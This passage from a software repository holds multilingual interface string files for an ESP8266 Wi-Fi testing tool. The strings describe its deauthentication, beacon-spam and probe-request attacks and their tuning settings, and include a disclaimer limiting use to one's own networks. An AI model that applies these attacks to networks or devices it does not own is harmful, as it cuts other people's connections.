gestoppt wird.\\nSetze es auf 0 um diese Funktion zu deaktivieren.\",\r\n\t\"setting_forcepackets\": \"Wie oft versucht werden soll ein Paket zu versenden.\\nÄndere diesen Wert um weine bessere Paketrate zu erreichen.\\nSei Vorsichtig, diese Einstellung kann das Gerät langsamer machen.\\nDer maximal Wert ist 255!\",\r\n\t\"setting_deauthspertarget\": \"Wie viele Deauthentication- und Disassociation-Frames für jedes Ziel versendet werden sollen.\",\r\n\t\"setting_deauthReason\": \"Der Reason-Code beim Versenden der Deauth-Pakete um dem Ziel zu sagen, warum die Verbindung getrennt wird.\",\r\n\t\"setting_beaconchannel\": \"Wenn aktiviert, sendet Beacon-Pakete auf verschiedenen Kanälen.\",\r\n\t\"setting_beaconInterval\": \"Wenn aktiviert, versendet je SSID ein Beacon-Pakete jede Sekunde. Sonst alle 100ms.\\nEin größeres Intervall bedeutet mehr Stabilität und weniger Paket-Spamming, aber es könnte länger dauern bis Client-Geräte die Netzwerke finden.\",\r\n\t\"setting_randomTX\": \"Aktiviert zufällige Sendeleistung für Beacon-Pakete und Probe Requests.\",\r\n\t\"setting_probesPerSSID\": \"Wie viele Probe Requests pro SSID versendet werden sollen.\",\r\n\t\"setting_lang\": \"Standardsprache für Webinterface.\\nSei sicher, dass eine passende Sprachdatei existiert!\"\r\n}\r\n"
  },
  {
    "path": "web_interface/lang/en.lang",
    "content": "{\r\n    \"lang\": \"en\",\r\n    \"warning\": \"WARNING\",\r\n    \"disclaimer\": \"This project is a proof of concept for testing and educational purposes.\\nNeither the ESP8266, nor its SDK was meant or build for such purposes. Bugs can occur!\\n\\nUse it only against your own networks and devices!\\n\\nIt uses valid Wi-Fi frames described in the IEEE 802.11 standard and does not block or disrupt any frequencies.\\nPlease check the legal regulations in your country before using it.\\n\\nPlease don't refer to this project as \\\"jammer\\\", that totally undermines the real purpose of this project!\\nIf you do, it only proves that you didn't understand anything of what this project stands for.\\nPublishing content about this without without a proper explanation shows that you only do it for the clicks, fame and/or money and have no respect for intellectual property, the community behind it and the fight for a better WiFi standard.\\n\\nFor more information visit:\",\r\n\t\"disclaimer-button\": \"I have read and understood the notice above\",\r\n\t\"reload\": \"Reload\",\r\n\t\"scan\": \"Scan\",\r\n\t\"ssids\": \"SSIDs\",\r\n\t\"attacks\": \"Attacks\",\r\n\t\"settings\": \"Settings\",\r\n\t\"info\": \"Info\",\r\n\t\"info_span\": \"INFO: \",\r\n\t\"all\": \"All\",\r\n\t\"channel\": \"Channel\",\r\n\t\"devices\": \"Saved Devices\",\r\n\t\"select_all\": \"Select All\",\r\n\t\"deselect_all\": \"Deselect All\",\r\n\t\"remove_all\": \"Remove All\",\r\n\t\"station_scan_time\": \"Station Scan Time\",\r\n\t\"new\": \"New\",\r\n\t\"save\": \"Save\",\r\n\t\"add\": \"Add\",\r\n\t\"add_selected\": \"Clone selected APs\",\r\n\t\"overwrite\": \"Overwrite\",\r\n\t\"time_interval\": \"Time Interval\",\r\n\t\"number\": \"Number\",\r\n\t\"targets\": \"Targets\",\r\n\t\"scan_info\": \"- Click Scan and wait until the blue LED on your board turns off (or changes to green), then click on Reload.\\n- The web interface will be unavailable during a station scan and you will have to reconnect!\\n- Please select only one target!\\n\",\r\n\t\"ssids_info\": \"- This SSID list is used for the beacon and probe attack.\\n- Each SSID can be up to 32 characters.\\n- Don't forget to click save when you edited a SSID.\\n- You have to click Reload after cloning SSIDs.\\n\",\r\n\t\"attack_info\": \"- You might lose connection when starting an attack!\\n- You need to select a target for the deauth attack.\\n- You need a saved SSID for the beacon and probe attack.\\n- Click reload to refresh the packet rate.\\n\",\r\n\t\"settings_info\": \"- Some settings require a reboot.\\n- Click save to make sure that your changes are applied.\\n\",\r\n\t\"info_disclaimer\": \"In case of an unexpected error, please reload the site and look at the serial monitor for further debugging.\",\r\n\t\"start_stop\": \"START / STOP\",\r\n\t\"start\": \"START\",\r\n\t\"stop\": \"STOP\",\r\n\t\"wifi_off\": \"WiFi Off\",\r\n\t\"reboot\": \"Reboot\",\r\n\t\"reset\": \"Reset\",\r\n\t\"enable_random\": \"Enable Random Mode\",\r\n\t\"disable_random\": \"Disable Random Mode\",\r\n\t\"random_desc\": \"Enable the random mode to generate a random SSID list in a given interval.\",\r\n\t\"deauth_desc\": \"Closes the connection of WiFi devices by sending deauthentication frames to access points and client devices you selected.\\nThis is only possible because a lot of devices don't use the 802.11w-2009 standard that offers a protection against this attack.\\n- Please only select one target! When you select multiple targets that run on different channels and start the attack, it will quickly switch between those channels and you have no chance to reconnect to the web interface.\\n\",\r\n\t\"beacon_desc\": \"Beacon packets are used to advertise access points. By continuously sending beacon packets out, it will look like you created new WiFi networks.\\nYou can specify the network names under SSIDs.\",\r\n\t\"probe_desc\": \"Probe requests are sent by client devices to ask if a known network is nearby.\\nUse this attack to confuse WiFi trackers by asking for networks that you specified in the SSID list.\\nIt's unlikely you will see any impact by this attack with your home network.\",\r\n\t\"setting_version\": \"Version number, i.e. v2.0.\\nThis setting can only be changed in the source code.\",\r\n\t\"setting_ssid\" : \"SSID of access point used for the web interface (if enabled).\\nThe length must be between 1 and 31 characters.\",\r\n\t\"setting_password\": \"Password of access point used for the web interface (if enabled).\\nThe length must be between 8 and 31 characters.\",\r\n\t\"setting_channel\": \"Default WiFi channel that is used when starting.\",\r\n\t\"setting_hidden\": \"Hides the access point that is used for the web interface (if enabled).\",\r\n\t\"setting_captivePortal\": \"Enables captive portal for access point (if enabled).\",\r\n\t\"setting_autosave\": \"Enables automatic saving of SSIDs, device names and settings.\",\r\n\t\"setting_autosavetime\": \"Time interval for automatic saving in milliseconds.\",\r\n\t\"setting_display\": \"Enables display interface.\",\r\n\t\"setting_displayTimeout\": \"Time in seconds after which the display turns off when inactive.\\nTo disable the display timeout, set it to 0.\",\r\n\t\"setting_serial\": \"Enables serial interface.\\nIt's recommended not to disable it!\",\r\n\t\"setting_serialEcho\": \"Enables echo for each incoming message over serial.\",\r\n\t\"setting_web\": \"Enables web interface.\",\r\n\t\"setting_webSpiffs\": \"Enables SPIFFS for all web files.\",\r\n\t\"setting_led\": \"Enables the (RGB) LED feature.\",\r\n\t\"setting_maxch\": \"Max. channel to scan on.\\nUS = 11, EU = 13, Japan = 14.\",\r\n\t\"setting_macAP\": \"MAC address used for the access point mode.\\nPlease note that the MAC address will only replace the internal MAC address when the accesspoint mode is enabled.\",\r\n\t\"setting_macSt\": \"MAC address used for the station mode.\\nPlease note that the MAC address will only replace the internal MAC address when the station mode is enabled.\",\r\n\t\"setting_chtime\": \"Time for scanning one channel before going to the next in milliseconds (only if channel hopping is enabled).\",\r\n\t\"setting_minDeauths\": \"Minimum number of deauthentication frames when scanning to change the LED to deauth mode.\",\r\n\t\"setting_attacktimeout\": \"After what amount of time (in seconds) the attack will stop automatically.\\nSet it to 0 to disable it.\",\r\n\t\"setting_forcepackets\": \"How many attempts to send out a packet.\\nSet this value higher if you want to achieve a better packet rate in a busy area.\\nBe careful this setting could make the device slower or more unstable.\\nMax value is 255!\",\r\n\t\"setting_deauthspertarget\": \"How many deauthentication and disassociation frames are sent out for each target.\",\r\n\t\"setting_deauthReason\": \"The reason code that is sent with the deauth frames to tell the target device why the connection will be closed.\",\r\n\t\"setting_beaconchannel\": \"If enabled, will send all frames on different channels when running a beacon attack.\",\r\n\t\"setting_beaconInterval\": \"If set true, beacons will be sent out every second. If set to false, the interval will be 100ms.\\nA longer interval means more stability and less spamming of packets, but it could take longer until the clients find the ssids when scanning.\",\r\n\t\"setting_randomTX\": \"Enables randomized transmission power for sending out beacon and probe request frames.\",\r\n\t\"setting_probesPerSSID\": \"How many probe request frames are sent for each SSID.\",\r\n\t\"setting_lang\": \"Default language for the web interface.\\nBe sure the language file exists!\"\r\n}"
  },
  {
    "path": "web_interface/lang/es.lang",
    "content": "{\n  \"lang\": \"es\",\n  \"warning\": \"ADVERTENCIA\",\n\t\"disclaimer\": \"Este proyecto es una prueba de concepto con un motivo didáctico y experimental. \\nNi el modulo ESP8266, ni su relativo SDK fueron creados o proyectados para estos propósitos.\\n\\n¡Úsalo solo contra tus propias redes y dispostivos! \\n\\nEl software utiliza exclusivamente los marcos WiFi válidos descritos en el estándar IEEE 802.11 de manera que no se bloquea o interrumpe frecuencia alguna. \\nPor favor, verifica la regulación vigente de tu país antes de utilizarlo. \\n\\nPor favor no referirse a este proyecto como \\\"jammer\\\" o \\\"inhibidor\\\", esto iría completamente en contra de la verdadera finalidad del proyecto\\nSi lo haces tan solo demostarás no haber entendido absolutamente nada de lo que este proyecto representa. \\nPublicar contenido sin una explicación adecuada demuestra que tan solo se hace por los clics, fama y/o dinero y que no se tiene ningún respeto por la propriedad intelectual, la comunidad detrás de ello y la lucha por un mejor estándar WiFi. \\n\\nPara más información visita:\",\n\t\"disclaimer-button\": \"He leído y entendido el aviso anterior\",\n\t\"reload\": \"Actualizar\",\n\t\"scan\": \"Escanear\",\n\t\"ssids\": \"SSIDs\",\n\t\"attacks\": \"Ataques\",\n\t\"settings\": \"Configuración\",\n\t\"info\": \"Informacón\",\n\t\"info_span\": \"INFO: \",\n\t\"all\": \"Todo\",\n\t\"channel\": \"Canal\",\n\t\"devices\": \"Dispositivos guardados\",\n\t\"select_all\": \"Seleccionar todo\",\n\t\"deselect_all\": \"Deseleccionar todo\",\n\t\"remove_all\": \"Quitar todo\",\n\t\"station_scan_time\": \"Tiempo de escaneo de la estación\",\n\t\"new\": \"Nuevo\",\n\t\"save\": \"Guardar\",\n\t\"add\": \"Agregar\",\n\t\"add_selected\": \"Clonar los APs seleccionados\",\n\t\"overwrite\": \"Sobrescribir\",\n\t\"time_interval\": \"Intervalo de tiempo\",\n\t\"number\": \"Número\",\n\t\"targets\": \"Objetivos\",\n\t\"scan_info\": \"- Haz clic en Escanear y espera hasta que el led azul en la placa se apague (o cambie a verde), luego haz clic en Actualizar.\\n- ¡La interfaz web no estará disponible durante el escaneo de una estación y tendrás que reconectarte!\\n- ¡Selecciona solo un objetivo!\\n\",\n\t\"ssids_info\": \"- Esta lista SSID se utiliza para los ataques de tipo 'Beacon' y 'Probe'.\\n- Cada SSID puede contener hasta 32 caráteres.\\n- No olvides hacer clic en Guardar cuando se modifique un SSID.\\n- Tienes que hacer clic en Actualizar después de clonar un SSID.\\n\",\n\t\"attack_info\": \"- ¡Puede que pierdas la conexión al iniciar el ataque!\\n- Tienes que seleccionar un objetivo para el ataque de tipo 'Deauth'.\\n- Se necesita un SSID guardado para el ataque tipo 'Beacon' o 'Probe'.\\n- Haz clic en Actualizar para refrescar la velocidad de los paquetes.\\n\",\n\t\"settings_info\": \"- Algunas configuraciones necesitan un reinicio.\\n- Haz clic en Guardar para asegurar que las modificaciones sean aplicadas.\\n\",\n\t\"info_disclaimer\": \"En caso de error, actualiza la página y echa un vistazo al monitor serial para una depuración más detallada.\",\n\t\"start_stop\": \"INICIAR / DETENER\",\n\t\"start\": \"INICIAR\",\n\t\"stop\": \"DETENER\",\n\t\"wifi_off\": \"Apagar WiFi\",\n\t\"reboot\": \"Reiniciar\",\n\t\"reset\": \"Restablecer\",\n\t\"enable_random\": \"Habilita el modo aleatorio\",\n\t\"disable_random\": \"Deshabilita el modo aleatorio\",\n\t\"random_desc\": \"Habilitar el modo aleatorio para generar una lista SSID aleatoria en un intervalo dado.\",\n\t\"deauth_desc\": \"Cierra la conexión de los dispositivos WiFi enviando los marcos de desautenticación a los APs y a los dispositivos clientes seleccionados.\\nEsto es posible solo porque muchos dispositivos no utilizan el estándar 802.11w-2009, que ofrece una protección contra este tipo de ataque.\\n- ¡Por favor, seleccione solo un blanco! Cuando se seleccionan más blancos que son llevados a cabo sobre canales diversos e inicia el ataque, pasará rápidamente de estos canales y no tendrá posibilidad alguna de reconectarse a la interfaz web.\\n\",\n\t\"beacon_desc\": \"Los paquetes 'Beacon' son utilizados para publicitar los APs. Enviando continuamente paquetes 'Beacon', parecería que se han creado nuevas redes WiFi.\\nEs posible especificar los nombres de red bajo SSID.\",\n\t\"probe_desc\": \"Las peticiones 'Probe' son enviadas por los dispositivos clientes para preguntar si una red determinada se encuentra al alcance.\\nUtiliza este ataque para confundir los 'trackers' WiFi preguntando por redes especificadas en la lista SSID.\\nEs improbable que no veas algún impacto de este ataque en tu red doméstica.\",\n\t\"setting_version\": \"Número de versión, por ejemplo v2.0.\\nEste ajuste sólo puede ser modificado en el código fuente.\",\n\t\"setting_ssid\" : \"SSID del AP utilizado para la interfaz web (si habilitado).\\nEl tamaño debe comprender entre 1 y 31 caracteres.\",\n\t\"setting_password\": \"Contraseña del AP utilizada para la interfaz (si habilitado).\\nEl tamaño debe comprender entre 8 y 31 caracteres.\",\n\t\"setting_channel\": \"Canal WiFi predefinido que es utilizado al inicio.\",\n\t\"setting_hidden\": \"Oculta el AP utilizado para la interfaz web (si habilitado).\",\n\t\"setting_captivePortal\": \"Habilita el portal cautivo para el AP (si habilitado).\",\n\t\"setting_autosave\": \"Habilita el guardado automático de SSID, nombres de dispositivos y configuraciones.\",\n\t\"setting_autosavetime\": \"Intervalo de tiempo para el guardado automático en milisegundos.\",\n\t\"setting_display\": \"Habilita la interfaz de la pantalla.\",\n\t\"setting_displayTimeout\": \"Tiempo en segundos tras los que la pantalla se apaga al estar inactiva.\\nPara deshabilitar el timeout de la pantalla, configurarlo en 0.\",\n\t\"setting_serial\": \"Habilita la interfaz serial.\\n¡Se recomienda no desactivarla!\",\n\t\"setting_serialEcho\": \"Habilita la muestra de cada mensaje recibido por serial.\",\n\t\"setting_web\": \"Habilita la interfaz web.\",\n\t\"setting_webSpiffs\": \"Habilita SPIFFS para todos los archivos web.\",\n\t\"setting_led\": \"Habilita la función led (RGB).\",\n\t\"setting_maxch\": \"Canal máximo para el escaneo.\\nEEUU = 11, EU = 13, Japón = 14.\",\n\t\"setting_macAP\": \"Dirección MAC utilizada para el modo AP.\\nLa dirección MAC reemplazará la MAC interna tan solo cuando el modo AP este habilitado.\",\n\t\"setting_macSt\": \"Dirección MAC utilizada para el modo estación.\\nLa dirección MAC reemplazará la MAC interna tan solo cuando el modo estación este habilitado.\",\n\t\"setting_chtime\": \"Tiempo de escaneo de un canal antes di pasar al sucesivo en milisegundos (sólo si el pase de canales está habilitado).\",\n\t\"setting_minDeauths\": \"Número mínimo de marcos de desautentifiación durante el escaneo para cambiar el modo led en 'Deauth'.\",\n\t\"setting_attacktimeout\": \"Después de cuanto tiempo (en segundos) el ataque se detendrá automaticamente.\\nConfigurarlo en 0 para deshabilitarlo.\",\n\t\"setting_forcepackets\": \"Cuantos tentativos de envío de un paquete.\\nConfigurar este valor más alto si se desea obtener una mejor velocidad de paquetes en un área ocupada.\\nCuidado, esta configuración puede hacer que el dispositivo vaya más lento o hacerlo más inestable.\\n¡El valor máximo es 255!\",\n\t\"setting_deauthspertarget\": \"Cuantos marcos de desautentifiación y desasociación son enviados para cada blanco.\",\n\t\"setting_deauthReason\": \"El código de motivo que se envía con los marcos tipo \\\"deauth\\\" para indicar al dispositivo de destino por qué la conexión será terminada.\",\n\t\"setting_beaconchannel\": \"Si se habilita, se enviarán todos los marcos en diferentes canales durante la ejecución de un ataque tipo 'Beacon'.\",\n\t\"setting_beaconInterval\": \"Habilitado los Beacons serán enviados cada segundo. Deshabilitado, el intervalo será de 100 ms.\\nUn intervalo más largo significa mayor estabilidad y menos 'spammeo' de los paquetes, pero podría nesecitar más tiempo hasta que los clientes encuentren los SSID durante el escaneo.\",\n\t\"setting_randomTX\": \"Habilita la potencia de transmisión aleatoria para el envío de peticiones de marcos 'Beacons' y 'Probe'.\",\n\t\"setting_probesPerSSID\": \"Cantidad de marcos de peticiones 'Probe' enviados para cada SSID.\",\n\t\"setting_lang\": \"Idioma predefinido para la interfaz web.\\n¡Verifica que el archivo del idioma exista previamente!\"\n}"
  },
  {
    "path": "web_interface/lang/fi.lang",
    "content": "{\n  \"lang\": \"fi\",\n  \"warning\": \"VAROITUS\",\n  \"disclaimer\": \"Tämä laite on tarkoitettu verkon turvallisuustestien tekemiseen, eikä verkon murtautumiseen! \",\n  \"disclaimer-button\": \"Olen lukenut ja käytän laitetta oikein\",\n  \"reload\": \"Lataa Uudelleen\",\n  \"scan\": \"Skannaa\",\n  \"ssids\": \"SSID:t\",\n  \"attacks\": \"Hyökkäykset\",\n  \"settings\": \"Asetukset\",\n  \"info\": \"Info\",\n  \"info_span\": \"INFO: \",\n  \"all\": \"Kaikki\",\n  \"channel\": \"Kanavat\",\n  \"devices\": \"Tallennetut Laitteet\",\n  \"select_all\": \"Valitse Kaikki\",\n  \"deselect_all\": \"Poista valinnat\",\n  \"remove_all\": \"Poista Kaikki\",\n  \"station_scan_time\": \"Asemien skannausaika\",\n  \"new\": \"Uusi\",\n  \"save\": \"Tallenna\",\n  \"add\": \"Lisää\",\n  \"add_selected\": \"Kloonaa Valitut Verkot\",\n  \"overwrite\": \"Kirjoita päälle\",\n  \"time_interval\": \"Aikaväli\",\n  \"number\": \"Numero\",\n  \"targets\": \"Kohteet\",\n  \"scan_info\": \"- Napsauta Skannaa ja odota, kunnes sinisen LED-valo sammuu (tai muuttuu vihreäksi) ja napsauta sitten Lataa Sivu Uudelleen. \\n- Web-käyttöliittymä ei ole käytettävissä asemien skannauksen aikana ja sinun on yhdistettävä uudelleen laitteeseen! \\n- Ole hyvä valitse vain yksi kohde! \\n\",\n  \"ssids_info\": \"- Tätä SSID-luetteloa käytetään Beacon- ja Probe hyökkäystä varten. \\n- Jokainen SSID voi olla enintään 32 merkkiä. \\n- Älä unohda klikata Tallenna, kun olet muokannut SSID-tunnuksia. \\n- Sinun on napsautettava Lataa Sivu uudelleen, jos olet kloonannut SSID-tunnuksia. \\n\",\n  \"attack_info\": \"- Voit menettää yhteyden aloittaessasi hyökkäyksen! \\n- Sinun on valittava kohde deauth-hyökkäykstä varten. \\n- Sinun on tallennettava SSID Beacon- ja Probe hyökkäyksiä varten. \\n- Päivitä pakettien siirtonopeus napsauttamalla  Lataa Sivu uudelleen. \\n\",\n  \"settings_info\": \"- Jotkin asetukset edellyttävät uudelleenkäynnistystä..\\n- Varmista, että muutokset ovat tallennettu, klikkamalla Tallenna nappia.\\n\",\n  \"info_disclaimer\": \"Jos odottamaton virhe ilmenee, lataa sivu uudelleen ja katso laitteen sarjaportin lukijasta tulevaisuuden virheenkorjausta varten.\",\n  \"start_stop\": \"KÄYNNISTÄ / PYSÄYTÄ\",\n  \"start\": \"KÄYNNISTÄ\",\n  \"stop\": \"PYSÄYTÄ\",\n  \"wifi_off\": \"WiFi Pois\",\n  \"reboot\": \"Käynnistä uudelleen\",\n  \"reset\": \"Nollaa\",\n  \"enable_random\": \"Satunnainen tila päälle\",\n  \"disable_random\": \"Satunnainen tila pois päältä\",\n  \"random_desc\": \"Ota satunnaistoiminto käyttöön saadaksesi satunnaisen SSID-luettelon tietyllä kappaleväleillä (esim. 1-15 SSIDja).\",\n  \"deauth_desc\": \"Sulkee WiFi-laitteiden yhteyden lähettämällä autentikointikehykset valittuihin yhteyspisteisiin ja asiakaslaitteisiin.\\nTämä on mahdollista vain, koska monet laitteet eivät käytä 802.11w-2009 -standardia, joka suojaa tätä hyökkäystä vastaan.\\n - Valitse vain yksi kohde! Kun valitset useita kanavia, jotka toimivat eri kanavilla ja käynnistä hyökkäys, se siirtyy nopeasti näiden kanavien välillä ja sinulla ei ole mahdollisuutta yhdistää uudelleen verkkokäyttöön.\",\n  \"beacon_desc\": \"Beacon-paketteja käytetään tukiasemien mainostamiseen. Lähettämällä jatkuvasti beacon-paketteja ulos näyttää siltä, että olet luonut uusia WiFi-verkkoja.\\nVoit muokata ja luoda omia SSID-verkkoja kohdassa SSIDt \",\n  \"probe_desc\": \"Asiakkaan laitteita lähettävät koetinkyselypyynnöt kysyäkseen, onko tunnettu verkko lähellä.\\nKäytä tätä hyökkäystä hämmentääkseen WiFi-seurantaohjelmia pyytämällä SSID-luettelossa määritettyjä verkkoja.\\nOn epätodennäköistä, että tämä hyökkäys vaikuttaa kotiverkkoosi.\",\n  \"setting_version\": \"Versio, esim. v2.0.\\nTämä asetus voidaan muuttaa vain lähdekoodissa.\",\n  \"setting_ssid\": \"Verkkokäyttöliittymän käytetyn tukiaseman SSID (jos käytössä).\\nThe length must be between 1 and 31 characters.\",\n  \"setting_password\": \"Password of access point used for the web interface (if enabled).\\nVerkon nimen pituuden on oltava 1 - 31 merkkiä.\",\n  \"setting_channel\": \"Oletus WiFi-kanava, jota käytetään käynnistettäessä.\",\n  \"setting_hidden\": \"Piilottaa Wi-FI tukiaseman, jota käytetään web-käyttöliittymässä (jos se on käytössä).\",\n  \"setting_captivePortal\": \"Ottaa käyttöön sidotun portaalin tukiasemalle (jos se on käytössä).\",\n  \"setting_autosave\": \"Mahdollistaa SSID-tunnusten, laitteen nimien ja asetusten automaattisen tallennuksen.\",\n  \"setting_autosavetime\": \"Automaattisen tallennuksen aikaväli millisekunteina.\",\n  \"setting_display\": \"Mahdollistaa käyttöliittymän näytöille (esim. OLED-näyttö).\",\n  \"setting_displayTimeout\": \"Aika sekunneissa, jonka jälkeen näyttö sammuu, kun se ei ole aktiivinen.\\nVoit poistaa näytön aikakatkaisun käytöstä asettamalla sen arvoon 0.\",\n  \"setting_serial\": \"Mahdollistaa sarjaliitännän.\\n Suositellaan, että sitä ei poisteta käytöstä.\",\n  \"setting_serialEcho\": \"Mahdollistaa jokaisen saapuvan viestin kaiun sarjamuotoon.\",\n  \"setting_web\": \"Ottaa käyttöön web-käyttöliittymän.\",\n  \"setting_webSpiffs\": \"Ottaa käyttöön SPIFFS-tiedoston kaikille web-tiedostoille.\",\n  \"setting_led\": \"Ottaa käyttöön (RGB) LED-ominaisuuden.\",\n  \"setting_maxch\": \"Max. kanava jolla skannataan.\\n US = 11, EU = 13, Japani = 14.\",\n  \"setting_macAP\": \"MAC-osoite, jota käytetään tukiasematilassa.\\n Huomaa, että MAC-osoite korvaa vain sisäisen MAC-osoitteen, kun tukiasematila on käytössä.\",\n  \"setting_macSt\": \"MAC-osoite, jota käytetään asematilassa.\\n Katso, että MAC-osoite korvaa vain sisäisen MAC-osoitteen, kun asema on käytössä.\",\n  \"setting_chtime\": \"Aika skannaa yksi kanava ennen siirtymistä seuraavaan millisekunteina (vain jos kanavan hopping on käytössä).\",\n  \"setting_minDeauths\": \"Vähimmäismäärä autentikointikehyksiä skannauksen aikana, jotta LED-valo palautuisi pois käytöstä.\",\n  \"setting_attacktimeout\": \"Kun määräaika (sekunteina) hyökkäys pysähtyy automaattisesti.\\n Aseta se lukuun 0 sen poistamiseksi käytöstä.\",\n  \"setting_forcepackets\": \"Kuinka monta yritystä paketin lähettämiseen. \\n Aseta tämä arvo korkeammalle, jos haluat saavuttaa paremman pakettinopeuden kiireisellä alueella. \\n Huomaa tämä asetus saattaa tehdä laitteesta hitaamman tai epävakaamman. \\n Max-arvo on 255!\",\n  \"setting_deauthspertarget\": \"Kuinka monta deautentikointi- ja disassociation kehystä lähetetään jokaiselle kohteelle.\",\n  \"setting_deauthReason\": \"Syykoodi, joka lähetetään deauth-kehyksillä kertoo kohdelaitteelle, miksi yhteys suljetaan.\",\n  \"setting_beaconchannel\": \"Jos tämä toiminto on käytössä, lähetät kaikki kehykset eri kanaville, kun käytetään majakka-hyökkäystä.\",\n  \"setting_beaconInterval\": \"Jos asetetaan true, lähettimet lähetetään joka sekunti. Jos asetuksena on väärä, aikaväli on 100 ms. \\n Pidempi aikaväli merkitsee pakettien vakautta ja vähemmän roskapostia, mutta saattaa kestää kauemmin, kunnes asiakkaat löytävät ssidit skannauksen aikana.\",\n  \"setting_randomTX\": \"Mahdollistaa satunnaistetun lähetystehon lähettämällä majakka- ja koetinkyselykehyksiä.\",\n  \"setting_probesPerSSID\": \"Kuinka monta koetinkyselyn kehystä lähetetään jokaiselle SSID: lle\",\n  \"setting_lang\": \"Web-käyttöliittymän oletuskieli. \\n Varmista, että kielitiedosto on olemassa!\"\n}\n"
  },
  {
    "path": "web_interface/lang/fr.lang",
    "content": "{\n  \"lang\": \"fr\",\n  \"warning\": \"ATTENTION\",\n  \"disclaimer\": \"Ce projet est seulement à but éducatif et à été conçu pour un but de démonstration seulement.\\nNi l'ESP8266 ni le SDK ne sont initialement prévus pour cette utilisation. Gare aux bugs !\\n\\nÀ n'utiliser qu'avec votre réseau privé et sur vos propres appareils !\\n\\nCe projet utilise des trames WiFi valides telles que décrites dans le standard IEEE 802.11; a noter qu'aucun blocage ou brouillage n'est effectué sur les fréquences utilisées.\\nVeillez à bien vérifier les lois en vigueur dans votre pays avant de vous en servir.\\n\\nNote: ceux qui parlent de ce projet en tant que \\\"brouilleur\\\" ou \\\"jammer\\\" ou qui copient le contenu sans fournir d'explications ne font que prouver leur méconnaissance sur le sujet ou leurs intentions de générer des titres putaclic sans respecter la propriété intellectuelle, la communauté ou l'effort fourni pour obtenir un meilleur standard WiFi.\\n\\nPour plus d'informations sur le sujet, rendez-vous sur:\",\n  \"disclaimer-button\": \"J'ai lu, compris et j'accepte le texte ci-dessus\",\n  \"reload\": \"Rafraîchir\",\n  \"scan\": \"Scanner\",\n  \"ssids\": \"SSIDs\",\n  \"attacks\": \"Attaques\",\n  \"settings\": \"Paramètres\",\n  \"info\": \"Info\",\n  \"info_span\": \"INFO: \",\n  \"all\": \"Tous\",\n  \"channel\": \"Canaux\",\n  \"devices\": \"Appareils enregistrés\",\n  \"select_all\": \"Tout sélectionner\",\n  \"deselect_all\": \"Tout désélectionner\",\n  \"remove_all\": \"Tout supprimer\",\n  \"station_scan_time\": \"Durée du Scan des points d'accès\",\n  \"new\": \"Nouveau\",\n  \"save\": \"Enregistrer\",\n  \"add\": \"Ajouter\",\n  \"add_selected\": \"Cloner les points d'accès\",\n  \"overwrite\": \"Ré-écrire\",\n  \"time_interval\": \"Intervalle\",\n  \"number\": \"Nombre\",\n  \"targets\": \"Cibles\",\n  \"scan_info\": \"- Cliquer sur \\\"Scanner\\\" et attendre jusqu'à ce que la LED bleue s'éteigne ou passe au vert, puis cliquer sur \\\"Rafraîchir\\\".\\n- L'interface web sera inaccessible pendant le scan des stations et il faudra probablement reconnecter le WiFi !\\n- Ne sélectionner qu'une seule cible à la fois !\\n\",\n  \"ssids_info\": \"- Les SSID dans cette liste sont utilisés pour les deux modes d'attaques Balise et Sonde.\\n- Chaque SSID peut contenir jusqu'à 32 caractères.\\n- Ne pas oublier d’enregistrer après l'édition :)\\n- Il faut rafraîchir la page après avoir cloné un SSID.\\n\",\n  \"attack_info\": \"- Toute attaque peut déclencher une déconnexion !\\n- Il faut sélectionner une cible pour l'attaque de désauthentification.\\n- Il faut au moins un SSID enregistré pour que les modes d'attaque Balise et Sonde fonctionnent.\\n- Cliquer sur Rafraîchir pour mettre à jour le taux de paquets.\\n\",\n  \"settings_info\": \"- Certains changements de paramètres nécessitent de relancer l'appareil.\\n- Pensez à cliquer sur Enregistrer.\\n\",\n  \"info_disclaimer\": \"En cas d'erreur inattendue, le moniteur série peut fournir de précieuses informations et aider au debug.\",\n  \"start_stop\": \"DÉMARRER / STOPPER\",\n  \"start\": \"DÉMARRER\",\n  \"stop\": \"STOPPER\",\n  \"wifi_off\": \"WiFi arrêté\",\n  \"reboot\": \"Redémarrer\",\n  \"reset\": \"Remise à zéro\",\n  \"enable_random\": \"Activer le mode aléatoire\",\n  \"disable_random\": \"Désactiver le mode aléatoire\",\n  \"random_desc\": \"Déclare un liste de SSID au hasard et à intervalle régulier.\",\n  \"deauth_desc\": \"Force la fermeture des appareils WiFi sélectionnés en envoyant des trames de désauthentification aux points d’accès auquel ils sont connectés.\\nCette situation n'existe que parce que la majorité des appareils WiFi actuels n'implémentent pas le standard 802.11w-2009 qui offre une protection contre ce genre d'attaque.\\n- Attention a ne sélectionner qu'une seule cible, sans quoi vous perdrez accès à l'interface web à cause des sauts incessants entre les différents channels.\\n\",\n  \"beacon_desc\": \"Un paquet 'balise' est généralement utilisé pour annoncer l'existence d'un point d’accès. L'envoi incessant de paquets balise permet de faire croire à la création ininterrompue de ces réseaux WiFi.\\nLes noms de ces réseaux peuvent être spécifiés dans la section SSIDs.\",\n  \"probe_desc\": \"Les demandes de sondes sont effectuées par l'appareil client afin de demander si un réseau connu est proche.\\nCette attaque peut semer la confusion auprès des war walkers ou autres appareils de tracking WiFi, et peut être personnalisée en spécifiant une liste de SSIDs.\\nElle est très peu impactante sur les réseaux domestiques.\",\n  \"setting_version\": \"Numéro de version, ex: v2.0.\\nCe paramètre ne peut être changé qu'en recompilant le code.\",\n  \"setting_ssid\": \"Le SSID du point d’accès utilisé pour l'interface web (si activée).\\nEntre 1 et 31 caractères, maximum 8 émojis.\",\n  \"setting_password\": \"Le mot de passe du point d’accès utilisé pour l'interface web (si activée).\\nEntre 8 et 31 caractères.\",\n  \"setting_channel\": \"Le canal WiFi par défaut au démarrage.\",\n  \"setting_hidden\": \"Masque le point d’accès qui est utilisé pour l'interface web (si activée).\",\n  \"setting_captivePortal\": \"Active le portail captif pour le point d’accès (si activé).\",\n  \"setting_autosave\": \"Active l'enregistrement automatique des SSIDs et noms d'appareils dans les paramètres.\",\n  \"setting_autosavetime\": \"Intervalle de temps entre deux enregistrements automatiques (en millisecondes).\",\n  \"setting_display\": \"Active l'écran.\",\n  \"setting_displayTimeout\": \"Temps d'inactivité avant que l'écran ne s'éteigne automatiquement (en secondes).\\nRenseigner 0 pour désactiver cette option.\",\n  \"setting_serial\": \"Active l'interface série.\\nIl n'est pas recommandé de la désactiver !\",\n  \"setting_serialEcho\": \"Affiche chaque message reçu sur le port série.\",\n  \"setting_web\": \"Active l'interface Web.\",\n  \"setting_webSpiffs\": \"Active le SPIFFS pour chaque fichier web.\",\n  \"setting_led\": \"Active la LED RGB.\",\n  